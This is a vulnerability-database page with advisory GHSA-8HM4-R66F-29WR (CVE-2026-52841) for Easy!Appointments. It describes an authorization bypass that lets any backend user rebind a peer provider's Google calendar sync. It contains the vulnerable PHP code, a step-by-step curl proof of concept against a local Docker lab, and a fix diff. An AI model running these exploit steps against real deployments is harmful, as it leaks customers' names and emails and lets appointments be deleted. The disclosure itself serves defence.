Vulnerability-Lookup

GHSA-8HM4-R66F-29WR

Vulnerability from github – Published: 2026-07-29 16:29 – Updated: 2026-07-29 16:29

Summary

Easy!Appointments: Authorization bypass in Google OAuth provider binding lets any backend user rebind a peer provider's Google sync

Details

Summary

Google::oauth at application/controllers/Google.php:278 stores its URL-supplied provider_id in the session, and oauth_callback saves the issued Google OAuth token against that row without checking the caller owns the provider. Any logged-in backend user (admin, provider, or secretary) rebinds a peer provider's Google sync to a Google account they control. The peer's appointments then sync into the attacker's calendar with each customer's name and email attached as attendee data.

Preconditions

Attacker holds a backend login on the target instance (admin, provider, or secretary). The customer role cannot log in.
The instance has Google Calendar OAuth configured at application/config/google.php - i.e. any deployment that uses the Google sync feature at all.
Default deployment per the project's own docker-compose.yml; no non-default flags required.

Details

// application/controllers/Google.php:278-289
public function oauth(string $provider_id): void
{
    if (!$this->session->userdata('user_id')) {
        show_error('Forbidden', 403);
    }

    // Store the provider id for use on the callback function.
    session(['oauth_provider_id' => $provider_id]);                       // (*) attacker-chosen id stored unchecked

    // Redirect browser to google user content page.
    header('Location: ' . $this->google_sync->get_auth_url());
}

// application/controllers/Google.php:305-337
public function oauth_callback(): void
{
    if (!session('user_id')) {
        abort(403, 'Forbidden');
    }

    $code = request('code');
    if (empty($code)) { response('Code authorization failed.'); return; }

    $token = $this->google_sync->authenticate($code);
    if (empty($token)) { response('Token authorization failed.'); return; }

    $oauth_provider_id = session('oauth_provider_id');
    if ($oauth_provider_id) {
        $this->providers_model->set_setting($oauth_provider_id, 'google_sync', true);                  // (*)
        $this->providers_model->set_setting($oauth_provider_id, 'google_token', json_encode($token));  // (*)
        $this->providers_model->set_setting($oauth_provider_id, 'google_calendar', 'primary');
    } else {
        response('Sync provider id not specified.');
    }
}

The same controller already carries the right gate on every other sync-management entry. select_google_calendar at application/controllers/Google.php:389 and disable_provider_sync at application/controllers/Google.php:423 both refuse the call when the caller is neither an admin nor the provider themselves:

// application/controllers/Google.php:389
if (cannot('edit', PRIV_USERS) && (int) $user_id !== (int) $provider_id) {
    throw new RuntimeException('You do not have the required permissions for this task.');
}

oauth and oauth_callback skip that check. Once the callback runs with oauth_provider_id pointing at a peer provider, the peer's user_settings row is overwritten with the attacker's OAuth token and google_sync is forcibly enabled.

The attack chain that delivers the data:

Synchronization::sync_appointment_saved at application/libraries/Synchronization.php:51 runs on every booking save. The path includes the unauthenticated public booking flow (Booking::register at application/controllers/Booking.php:463) and the backend save (Calendar::save_appointment at application/controllers/Calendar.php:306). When $provider['settings']['google_sync'] is truthy the handler reads google_token from the row - now the attacker's - refreshes it, and calls Google_sync::add_appointment.
Google_sync::add_appointment at application/libraries/Google_sync.php:184-189 adds the customer as a Google calendar attendee with their first name, last name, and email.
The cron-triggered Console::sync -> Google::sync($provider_id) at application/controllers/Google.php:44 walks the existing sync_past_days and sync_future_days windows and pushes every appointment to the attacker's calendar.
The same loop deletes the local row whenever the remote event throws or is cancelled (application/controllers/Google.php:186-191); the attacker rolls events out of their Google calendar to delete the victim provider's appointments. Events the attacker creates in their own calendar arrive as unavailability records on the victim's schedule (application/controllers/Google.php:209-254).

Proof of concept

Setup

Clone the repository, pin to the audited release, copy the sample config, and bring up the bundled stack:

bash git clone https://github.com/alextselegidis/easyappointments cd easyappointments git checkout 1.5.2 cp config-sample.php config.php docker compose up -d until curl -fsS http://localhost/ -o /dev/null; do sleep 2; done

Run the console installer. The seed sets administrator's password to the literal string administrator (see application/libraries/Instance.php:99):

bash docker compose exec -T php-fpm php index.php console install

Configure the install's Google OAuth client. Paste the client id and secret from a Google Cloud project you control into application/config/google.php and add http://localhost/index.php/google/oauth_callback to the project's authorized redirect URIs. This step is already done on any deployment that uses Google sync.
Log in as administrator and persist the cookie jar (the project's session cookie is ea_session):

bash export ADMIN_JAR=/tmp/admin.cookies curl -s -c $ADMIN_JAR http://localhost/index.php/login -o /dev/null CSRF=$(awk '$6=="csrf_cookie"{print $7}' $ADMIN_JAR) curl -s -b $ADMIN_JAR -c $ADMIN_JAR -X POST http://localhost/index.php/login/validate \ --data-urlencode "csrf_token=$CSRF" \ --data-urlencode "username=administrator" \ --data-urlencode "password=administrator" > /dev/null

Create the attacker provider (the default require_phone_number=1 setting makes that field mandatory). Capture both ids:

bash CSRF=$(awk '$6=="csrf_cookie"{print $7}' $ADMIN_JAR) curl -s -b $ADMIN_JAR -X POST http://localhost/index.php/providers/store \ --data-urlencode "csrf_token=$CSRF" \ --data-urlencode 'provider[first_name]=Mal' \ --data-urlencode 'provider[last_name]=Lory' \ --data-urlencode 'provider[email]=mallory@x.test' \ --data-urlencode 'provider[phone_number]=+10000000000' \ --data-urlencode 'provider[timezone]=UTC' \ --data-urlencode 'provider[language]=english' \ --data-urlencode 'provider[settings][username]=mallory' \ --data-urlencode 'provider[settings][password]=Attacker-pw-1' \ --data-urlencode 'provider[settings][notifications]=0' export ATTACKER_ID=$(docker compose exec -T mysql mysql -uuser -ppassword easyappointments -N -B \ -e "SELECT u.id FROM ea_users u JOIN ea_user_settings s ON s.id_users=u.id WHERE s.username='mallory'") export VICTIM_ID=$(docker compose exec -T mysql mysql -uuser -ppassword easyappointments -N -B \ -e "SELECT u.id FROM ea_users u JOIN ea_user_settings s ON s.id_users=u.id WHERE s.username='janedoe'")

bash export ATTACKER_JAR=/tmp/attacker.cookies curl -s -c $ATTACKER_JAR http://localhost/index.php/login -o /dev/null CSRF=$(awk '$6=="csrf_cookie"{print $7}' $ATTACKER_JAR) curl -s -b $ATTACKER_JAR -c $ATTACKER_JAR -X POST http://localhost/index.php/login/validate \ --data-urlencode "csrf_token=$CSRF" \ --data-urlencode "username=mallory" \ --data-urlencode "password=Attacker-pw-1" > /dev/null

Exploit

The attacker, logged in as a regular provider with id $ATTACKER_ID, points /google/oauth/ at the victim provider's id $VICTIM_ID:

bash curl -si -b $ATTACKER_JAR "http://localhost/index.php/google/oauth/$VICTIM_ID" | head -5

Expected: HTTP/1.1 302 Found with Location: https://accounts.google.com/o/oauth2/auth?... - the server accepted the call from a non-owning caller. Verify the session-side effect on disk: docker compose exec -T php-fpm cat storage/sessions/ea_session$(awk '$6=="ea_session"{print $7}' $ATTACKER_JAR) shows oauth_provider_id|s:1:"<VICTIM_ID>" appended to the attacker's session data alongside their own user_id|i:<ATTACKER_ID>.

The attacker copies the ea_session cookie from $ATTACKER_JAR into a real browser, opens the redirect URL, signs in to Google with their own Google account, and grants consent. Google redirects back to http://localhost/index.php/google/oauth_callback?code=... and the app exchanges the code for an access + refresh token.
Confirm the row was rebound. The token, sync flag, and calendar selection now belong to the attacker's Google account but sit on the victim's ea_user_settings:

bash docker compose exec -T mysql mysql -uuser -ppassword easyappointments \ -e "SELECT name, value FROM ea_user_settings WHERE id_users=$VICTIM_ID AND name IN ('google_sync','google_token','google_calendar')"

Expected: google_sync = 1, google_token = {"access_token":"...","refresh_token":"..."} (attacker's), google_calendar = primary.

Trigger a sync. Any unauthenticated booking against the victim provider now lands in the attacker's calendar:

bash CSRF=$(awk '$6=="csrf_cookie"{print $7}' /tmp/booking.cookies) curl -s -c /tmp/booking.cookies http://localhost/ -o /dev/null CSRF=$(awk '$6=="csrf_cookie"{print $7}' /tmp/booking.cookies) curl -s -b /tmp/booking.cookies -X POST http://localhost/index.php/booking/register \ --data-urlencode "csrf_token=$CSRF" \ --data-urlencode "post_data[manage_mode]=false" \ --data-urlencode "post_data[appointment][id_users_provider]=$VICTIM_ID" \ --data-urlencode "post_data[appointment][id_services]=1" \ --data-urlencode "post_data[appointment][start_datetime]=2026-06-01 10:00:00" \ --data-urlencode "post_data[appointment][end_datetime]=2026-06-01 10:30:00" \ --data-urlencode "post_data[customer][first_name]=Carol" \ --data-urlencode "post_data[customer][last_name]=Victim" \ --data-urlencode "post_data[customer][email]=carol@target.test"

Expected: the attacker's Google calendar receives a new event whose title is the service name, with Carol Victim <carol@target.test> listed as an attendee.

Impact

Confidentiality: Reads every appointment booked against the victim provider; the customer's first name, last name, and email attach to each Google calendar event as attendee data (Google_sync.php:184-189).
Integrity: Deletes any of the victim provider's appointments by removing the matching event from the attacker's calendar; the next Console::sync removes the local row (Google.php:186-191).
Integrity: Inserts arbitrary unavailability records onto the victim provider's schedule by creating events in the attacker's calendar (Google.php:209-254).

Suggestions to fix

This has not been tested - it is illustrative only.

Reject the call unless the caller is an admin or the provider whose row is about to be rewritten - the same gate select_google_calendar and disable_provider_sync already use.

 public function oauth(string $provider_id): void
 {
     if (!$this->session->userdata('user_id')) {
         show_error('Forbidden', 403);
     }

+    if (cannot('edit', PRIV_USERS) && (int) session('user_id') !== (int) $provider_id) {
+        abort(403, 'Forbidden');
+    }
+
     // Store the provider id for use on the callback function.
     session(['oauth_provider_id' => $provider_id]);

     // Redirect browser to google user content page.
     header('Location: ' . $this->google_sync->get_auth_url());
 }

Credit

Dredsen, 2026.

Severity

3.1 (Low)


                  
                    CVSS:3.1/AV:N/AC:H/PR:H/UI:R/S:U/C:L/I:L/A:N

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{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "alextselegidis/easyappointments"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "1.5.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-52841"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-639"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-29T16:29:26Z",
    "nvd_published_at": "2026-07-14T16:17:00Z",
    "severity": "LOW"
  },
  "details": "### Summary\n\n`Google::oauth` at `application/controllers/Google.php:278` stores its URL-supplied `provider_id` in the session, and `oauth_callback` saves the issued Google OAuth token against that row without checking the caller owns the provider. Any logged-in backend user (admin, provider, or secretary) rebinds a peer provider\u0027s Google sync to a Google account they control. The peer\u0027s appointments then sync into the attacker\u0027s calendar with each customer\u0027s name and email attached as attendee data.\n\n### Preconditions\n\n- Attacker holds a backend login on the target instance (admin, provider, or secretary). The customer role cannot log in.\n- The instance has Google Calendar OAuth configured at `application/config/google.php` - i.e. any deployment that uses the Google sync feature at all.\n- Default deployment per the project\u0027s own `docker-compose.yml`; no non-default flags required.\n\n### Details\n\n```php\n// application/controllers/Google.php:278-289\npublic function oauth(string $provider_id): void\n{\n    if (!$this-\u003esession-\u003euserdata(\u0027user_id\u0027)) {\n        show_error(\u0027Forbidden\u0027, 403);\n    }\n\n    // Store the provider id for use on the callback function.\n    session([\u0027oauth_provider_id\u0027 =\u003e $provider_id]);                       // (*) attacker-chosen id stored unchecked\n\n    // Redirect browser to google user content page.\n    header(\u0027Location: \u0027 . $this-\u003egoogle_sync-\u003eget_auth_url());\n}\n```\n\n```php\n// application/controllers/Google.php:305-337\npublic function oauth_callback(): void\n{\n    if (!session(\u0027user_id\u0027)) {\n        abort(403, \u0027Forbidden\u0027);\n    }\n\n    $code = request(\u0027code\u0027);\n    if (empty($code)) { response(\u0027Code authorization failed.\u0027); return; }\n\n    $token = $this-\u003egoogle_sync-\u003eauthenticate($code);\n    if (empty($token)) { response(\u0027Token authorization failed.\u0027); return; }\n\n    $oauth_provider_id = session(\u0027oauth_provider_id\u0027);\n    if ($oauth_provider_id) {\n        $this-\u003eproviders_model-\u003eset_setting($oauth_provider_id, \u0027google_sync\u0027, true);                  // (*)\n        $this-\u003eproviders_model-\u003eset_setting($oauth_provider_id, \u0027google_token\u0027, json_encode($token));  // (*)\n        $this-\u003eproviders_model-\u003eset_setting($oauth_provider_id, \u0027google_calendar\u0027, \u0027primary\u0027);\n    } else {\n        response(\u0027Sync provider id not specified.\u0027);\n    }\n}\n```\n\nThe same controller already carries the right gate on every other sync-management entry. `select_google_calendar` at `application/controllers/Google.php:389` and `disable_provider_sync` at `application/controllers/Google.php:423` both refuse the call when the caller is neither an admin nor the provider themselves:\n\n```php\n// application/controllers/Google.php:389\nif (cannot(\u0027edit\u0027, PRIV_USERS) \u0026\u0026 (int) $user_id !== (int) $provider_id) {\n    throw new RuntimeException(\u0027You do not have the required permissions for this task.\u0027);\n}\n```\n\n`oauth` and `oauth_callback` skip that check. Once the callback runs with `oauth_provider_id` pointing at a peer provider, the peer\u0027s `user_settings` row is overwritten with the attacker\u0027s OAuth token and `google_sync` is forcibly enabled.\n\nThe attack chain that delivers the data:\n\n- `Synchronization::sync_appointment_saved` at `application/libraries/Synchronization.php:51` runs on every booking save. The path includes the unauthenticated public booking flow (`Booking::register` at `application/controllers/Booking.php:463`) and the backend save (`Calendar::save_appointment` at `application/controllers/Calendar.php:306`). When `$provider[\u0027settings\u0027][\u0027google_sync\u0027]` is truthy the handler reads `google_token` from the row - now the attacker\u0027s - refreshes it, and calls `Google_sync::add_appointment`.\n- `Google_sync::add_appointment` at `application/libraries/Google_sync.php:184-189` adds the customer as a Google calendar attendee with their first name, last name, and email.\n- The cron-triggered `Console::sync` -\u003e `Google::sync($provider_id)` at `application/controllers/Google.php:44` walks the existing `sync_past_days` and `sync_future_days` windows and pushes every appointment to the attacker\u0027s calendar.\n- The same loop deletes the local row whenever the remote event throws or is `cancelled` (`application/controllers/Google.php:186-191`); the attacker rolls events out of their Google calendar to delete the victim provider\u0027s appointments. Events the attacker creates in their own calendar arrive as unavailability records on the victim\u0027s schedule (`application/controllers/Google.php:209-254`).\n\n### Proof of concept\n\n**Setup**\n\n1. Clone the repository, pin to the audited release, copy the sample config, and bring up the bundled stack:\n\n   ```bash\n   git clone https://github.com/alextselegidis/easyappointments\n   cd easyappointments\n   git checkout 1.5.2\n   cp config-sample.php config.php\n   docker compose up -d\n   until curl -fsS http://localhost/ -o /dev/null; do sleep 2; done\n   ```\n\n2. Run the console installer. The seed sets administrator\u0027s password to the literal string `administrator` (see `application/libraries/Instance.php:99`):\n\n   ```bash\n   docker compose exec -T php-fpm php index.php console install\n   ```\n\n3. Configure the install\u0027s Google OAuth client. Paste the client id and secret from a Google Cloud project you control into `application/config/google.php` and add `http://localhost/index.php/google/oauth_callback` to the project\u0027s authorized redirect URIs. This step is already done on any deployment that uses Google sync.\n\n4. Log in as `administrator` and persist the cookie jar (the project\u0027s session cookie is `ea_session`):\n\n   ```bash\n   export ADMIN_JAR=/tmp/admin.cookies\n   curl -s -c $ADMIN_JAR http://localhost/index.php/login -o /dev/null\n   CSRF=$(awk \u0027$6==\"csrf_cookie\"{print $7}\u0027 $ADMIN_JAR)\n   curl -s -b $ADMIN_JAR -c $ADMIN_JAR -X POST http://localhost/index.php/login/validate \\\n     --data-urlencode \"csrf_token=$CSRF\" \\\n     --data-urlencode \"username=administrator\" \\\n     --data-urlencode \"password=administrator\" \u003e /dev/null\n   ```\n\n5. Create the attacker provider (the default `require_phone_number=1` setting makes that field mandatory). Capture both ids:\n\n   ```bash\n   CSRF=$(awk \u0027$6==\"csrf_cookie\"{print $7}\u0027 $ADMIN_JAR)\n   curl -s -b $ADMIN_JAR -X POST http://localhost/index.php/providers/store \\\n     --data-urlencode \"csrf_token=$CSRF\" \\\n     --data-urlencode \u0027provider[first_name]=Mal\u0027 \\\n     --data-urlencode \u0027provider[last_name]=Lory\u0027 \\\n     --data-urlencode \u0027provider[email]=mallory@x.test\u0027 \\\n     --data-urlencode \u0027provider[phone_number]=+10000000000\u0027 \\\n     --data-urlencode \u0027provider[timezone]=UTC\u0027 \\\n     --data-urlencode \u0027provider[language]=english\u0027 \\\n     --data-urlencode \u0027provider[settings][username]=mallory\u0027 \\\n     --data-urlencode \u0027provider[settings][password]=Attacker-pw-1\u0027 \\\n     --data-urlencode \u0027provider[settings][notifications]=0\u0027\n   export ATTACKER_ID=$(docker compose exec -T mysql mysql -uuser -ppassword easyappointments -N -B \\\n     -e \"SELECT u.id FROM ea_users u JOIN ea_user_settings s ON s.id_users=u.id WHERE s.username=\u0027mallory\u0027\")\n   export VICTIM_ID=$(docker compose exec -T mysql mysql -uuser -ppassword easyappointments -N -B \\\n     -e \"SELECT u.id FROM ea_users u JOIN ea_user_settings s ON s.id_users=u.id WHERE s.username=\u0027janedoe\u0027\")\n   ```\n\n6. Log in as the attacker provider into a dedicated cookie jar:\n\n   ```bash\n   export ATTACKER_JAR=/tmp/attacker.cookies\n   curl -s -c $ATTACKER_JAR http://localhost/index.php/login -o /dev/null\n   CSRF=$(awk \u0027$6==\"csrf_cookie\"{print $7}\u0027 $ATTACKER_JAR)\n   curl -s -b $ATTACKER_JAR -c $ATTACKER_JAR -X POST http://localhost/index.php/login/validate \\\n     --data-urlencode \"csrf_token=$CSRF\" \\\n     --data-urlencode \"username=mallory\" \\\n     --data-urlencode \"password=Attacker-pw-1\" \u003e /dev/null\n   ```\n\n**Exploit**\n\n1. The attacker, logged in as a regular provider with id `$ATTACKER_ID`, points `/google/oauth/` at the victim provider\u0027s id `$VICTIM_ID`:\n\n   ```bash\n   curl -si -b $ATTACKER_JAR \"http://localhost/index.php/google/oauth/$VICTIM_ID\" | head -5\n   ```\n\n   Expected: `HTTP/1.1 302 Found` with `Location: https://accounts.google.com/o/oauth2/auth?...` - the server accepted the call from a non-owning caller. Verify the session-side effect on disk: `docker compose exec -T php-fpm cat storage/sessions/ea_session$(awk \u0027$6==\"ea_session\"{print $7}\u0027 $ATTACKER_JAR)` shows `oauth_provider_id|s:1:\"\u003cVICTIM_ID\u003e\"` appended to the attacker\u0027s session data alongside their own `user_id|i:\u003cATTACKER_ID\u003e`.\n\n2. The attacker copies the `ea_session` cookie from `$ATTACKER_JAR` into a real browser, opens the redirect URL, signs in to Google with their own Google account, and grants consent. Google redirects back to `http://localhost/index.php/google/oauth_callback?code=...` and the app exchanges the code for an access + refresh token.\n\n3. Confirm the row was rebound. The token, sync flag, and calendar selection now belong to the attacker\u0027s Google account but sit on the victim\u0027s `ea_user_settings`:\n\n   ```bash\n   docker compose exec -T mysql mysql -uuser -ppassword easyappointments \\\n     -e \"SELECT name, value FROM ea_user_settings WHERE id_users=$VICTIM_ID AND name IN (\u0027google_sync\u0027,\u0027google_token\u0027,\u0027google_calendar\u0027)\"\n   ```\n\n   Expected: `google_sync = 1`, `google_token = {\"access_token\":\"...\",\"refresh_token\":\"...\"}` (attacker\u0027s), `google_calendar = primary`.\n\n4. Trigger a sync. Any unauthenticated booking against the victim provider now lands in the attacker\u0027s calendar:\n\n   ```bash\n   CSRF=$(awk \u0027$6==\"csrf_cookie\"{print $7}\u0027 /tmp/booking.cookies)\n   curl -s -c /tmp/booking.cookies http://localhost/ -o /dev/null\n   CSRF=$(awk \u0027$6==\"csrf_cookie\"{print $7}\u0027 /tmp/booking.cookies)\n   curl -s -b /tmp/booking.cookies -X POST http://localhost/index.php/booking/register \\\n     --data-urlencode \"csrf_token=$CSRF\" \\\n     --data-urlencode \"post_data[manage_mode]=false\" \\\n     --data-urlencode \"post_data[appointment][id_users_provider]=$VICTIM_ID\" \\\n     --data-urlencode \"post_data[appointment][id_services]=1\" \\\n     --data-urlencode \"post_data[appointment][start_datetime]=2026-06-01 10:00:00\" \\\n     --data-urlencode \"post_data[appointment][end_datetime]=2026-06-01 10:30:00\" \\\n     --data-urlencode \"post_data[customer][first_name]=Carol\" \\\n     --data-urlencode \"post_data[customer][last_name]=Victim\" \\\n     --data-urlencode \"post_data[customer][email]=carol@target.test\"\n   ```\n\n   Expected: the attacker\u0027s Google calendar receives a new event whose title is the service name, with `Carol Victim \u003ccarol@target.test\u003e` listed as an attendee.\n\n### Impact\n\n- **Confidentiality:** Reads every appointment booked against the victim provider; the customer\u0027s first name, last name, and email attach to each Google calendar event as attendee data (`Google_sync.php:184-189`).\n- **Integrity:** Deletes any of the victim provider\u0027s appointments by removing the matching event from the attacker\u0027s calendar; the next `Console::sync` removes the local row (`Google.php:186-191`).\n- **Integrity:** Inserts arbitrary unavailability records onto the victim provider\u0027s schedule by creating events in the attacker\u0027s calendar (`Google.php:209-254`).\n\n### Suggestions to fix\n\n\u003e _This has not been tested - it is illustrative only._\n\nReject the call unless the caller is an admin or the provider whose row is about to be rewritten - the same gate `select_google_calendar` and `disable_provider_sync` already use.\n\n```diff\n public function oauth(string $provider_id): void\n {\n     if (!$this-\u003esession-\u003euserdata(\u0027user_id\u0027)) {\n         show_error(\u0027Forbidden\u0027, 403);\n     }\n\n+    if (cannot(\u0027edit\u0027, PRIV_USERS) \u0026\u0026 (int) session(\u0027user_id\u0027) !== (int) $provider_id) {\n+        abort(403, \u0027Forbidden\u0027);\n+    }\n+\n     // Store the provider id for use on the callback function.\n     session([\u0027oauth_provider_id\u0027 =\u003e $provider_id]);\n\n     // Redirect browser to google user content page.\n     header(\u0027Location: \u0027 . $this-\u003egoogle_sync-\u003eget_auth_url());\n }\n```\n\n### Credit\n\nDredsen, 2026.",
  "id": "GHSA-8hm4-r66f-29wr",
  "modified": "2026-07-29T16:29:26Z",
  "published": "2026-07-29T16:29:26Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/alextselegidis/easyappointments/security/advisories/GHSA-8hm4-r66f-29wr"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-52841"
    },
    {
      "type": "WEB",
      "url": "https://github.com/alextselegidis/easyappointments/commit/4b2d245d2cd2058dc76e05f6eb65b26699268471"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/alextselegidis/easyappointments"
    },
    {
      "type": "WEB",
      "url": "https://github.com/alextselegidis/easyappointments/releases/tag/1.6.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:H/UI:R/S:U/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Easy!Appointments: Authorization bypass in Google OAuth provider binding lets any backend user rebind a peer provider\u0027s Google sync"
}

CVE-2026-52841 (GCVE-0-2026-52841)

Vulnerability from cvelistv5 – Published: 2026-07-14 15:27 – Updated: 2026-07-14 15:45

Title

Easy!Appointments: Authorization bypass in Google OAuth provider binding lets any backend user rebind a peer provider's Google sync

Summary

Easy!Appointments is a self hosted appointment scheduler. In versions prior to 1.6.0, `Google::oauth` at `application/controllers/Google.php:278` stores its URL-supplied `provider_id` in the session, and `oauth_callback` saves the issued Google OAuth token against that row without checking the caller owns the provider. Any logged-in backend user (admin, provider, or secretary) rebinds a peer provider's Google sync to a Google account they control. The peer's appointments then sync into the attacker's calendar with each customer's name and email attached as attendee data. Version 1.6.0 patches the issue.

Severity

3.1 (Low)


                        
                          CVSS:3.1/AV:N/AC:H/PR:H/UI:R/S:U/C:L/I:L/A:N

SSVC

Exploitation: none Automatable: no Technical Impact: partial

CISA Coordinator (v2.0.3)

CWE

CWE-639 - Authorization Bypass Through User-Controlled Key

Assigner

GitHub_M

References

2 references

URL	Tags
https://github.com/alextselegidis/easyappointment…	x_refsource_CONFIRM
https://github.com/alextselegidis/easyappointment…	x_refsource_MISC

Impacted products

1 product

Vendor	Product	Version
alextselegidis	easyappointments	Affected: < 1.6.0

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2026-52841",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-07-14T15:45:35.488362Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-07-14T15:45:45.967Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "references": [
          {
            "tags": [
              "exploit"
            ],
            "url": "https://github.com/alextselegidis/easyappointments/security/advisories/GHSA-8hm4-r66f-29wr"
          }
        ],
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "easyappointments",
          "vendor": "alextselegidis",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 1.6.0"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "Easy!Appointments is a self hosted appointment scheduler. In versions prior to 1.6.0, `Google::oauth` at `application/controllers/Google.php:278` stores its URL-supplied `provider_id` in the session, and `oauth_callback` saves the issued Google OAuth token against that row without checking the caller owns the provider. Any logged-in backend user (admin, provider, or secretary) rebinds a peer provider\u0027s Google sync to a Google account they control. The peer\u0027s appointments then sync into the attacker\u0027s calendar with each customer\u0027s name and email attached as attendee data. Version 1.6.0 patches the issue."
        }
      ],
      "metrics": [
        {
          "cvssV3_1": {
            "attackComplexity": "HIGH",
            "attackVector": "NETWORK",
            "availabilityImpact": "NONE",
            "baseScore": 3.1,
            "baseSeverity": "LOW",
            "confidentialityImpact": "LOW",
            "integrityImpact": "LOW",
            "privilegesRequired": "HIGH",
            "scope": "UNCHANGED",
            "userInteraction": "REQUIRED",
            "vectorString": "CVSS:3.1/AV:N/AC:H/PR:H/UI:R/S:U/C:L/I:L/A:N",
            "version": "3.1"
          }
        }
      ],
      "problemTypes": [
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          "descriptions": [
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              "cweId": "CWE-639",
              "description": "CWE-639: Authorization Bypass Through User-Controlled Key",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-07-14T15:27:50.367Z",
        "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "shortName": "GitHub_M"
      },
      "references": [
        {
          "name": "https://github.com/alextselegidis/easyappointments/security/advisories/GHSA-8hm4-r66f-29wr",
          "tags": [
            "x_refsource_CONFIRM"
          ],
          "url": "https://github.com/alextselegidis/easyappointments/security/advisories/GHSA-8hm4-r66f-29wr"
        },
        {
          "name": "https://github.com/alextselegidis/easyappointments/commit/4b2d245d2cd2058dc76e05f6eb65b26699268471",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/alextselegidis/easyappointments/commit/4b2d245d2cd2058dc76e05f6eb65b26699268471"
        }
      ],
      "source": {
        "advisory": "GHSA-8hm4-r66f-29wr",
        "discovery": "UNKNOWN"
      },
      "title": "Easy!Appointments: Authorization bypass in Google OAuth provider binding lets any backend user rebind a peer provider\u0027s Google sync"
    }
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  "cveMetadata": {
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
    "assignerShortName": "GitHub_M",
    "cveId": "CVE-2026-52841",
    "datePublished": "2026-07-14T15:27:50.367Z",
    "dateReserved": "2026-06-08T18:41:27.724Z",
    "dateUpdated": "2026-07-14T15:45:45.967Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.

Action not permitted

GHSA-8HM4-R66F-29WR

Summary

Preconditions

Details

Proof of concept

Impact

Suggestions to fix

Credit

CVE-2026-52841 (GCVE-0-2026-52841)

Tags

Sightings

Nomenclature